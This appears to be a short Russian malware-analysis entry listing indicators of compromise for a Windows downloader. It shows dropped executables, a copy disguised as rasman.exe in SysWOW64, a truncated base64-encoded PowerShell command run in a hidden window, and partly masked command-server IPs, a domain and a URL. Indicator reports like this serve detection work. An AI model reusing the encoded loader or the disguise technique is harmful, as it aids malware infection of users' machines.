Техническая информация
- 'rasman' "%WINDIR%\SysWOW64\ir41_qc\rasman.exe"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABZADEAdQA5AGsAZABtAD0AKAAnAFkAaAAnACsAKAAnAGUAMAAnACsAJwBxAG8AdwAnACkAKQA7ACYAKAAnAG4AZQB3ACcAKwAnAC0AaQB0AGUAbQAnACkAIAAkAGUAbgBWADoAVQBTAGUAUgBQAFIAbwBGAGkAbABlAFwAbQA0AE8AYgB5AHgAYgBcAE...
- %HOMEPATH%\m4obyxb\o2ee0qk\w_c1yyz.exe
- %WINDIR%\syswow64\ir41_qc\rasman.exe
- %HOMEPATH%\m4obyxb\o2ee0qk\w_c1yyz.exe в %WINDIR%\syswow64\ir41_qc\rasman.exe
- '96.#27.52.8':443
- http://gi#####hanksdaily.com/web/VK/
- http://96.##7.52.8:443/jaen9aq0Mrpv/GHoQ0E4kiH8wZXnU/H4lS/ via 96.#27.52.8
- DNS ASK gi#####hanksdaily.com
- '%HOMEPATH%\m4obyxb\o2ee0qk\w_c1yyz.exe'
- '%WINDIR%\syswow64\ir41_qc\rasman.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABZADEAdQA5AGsAZABtAD0AKAAnAFkAaAAnACsAKAAnAGUAMAAnACsAJwBxAG8AdwAnACkAKQA7ACYAKAAnAG4AZQB3ACcAKwAnAC0AaQB0AGUAbQAnACkAIAAkAGUAbgBWADoAVQBTAGUAUgBQAFIAbwBGAGkAbABlAFwAbQA0AE8AYgB5AHgAYgBcAE...' (со скрытым окном)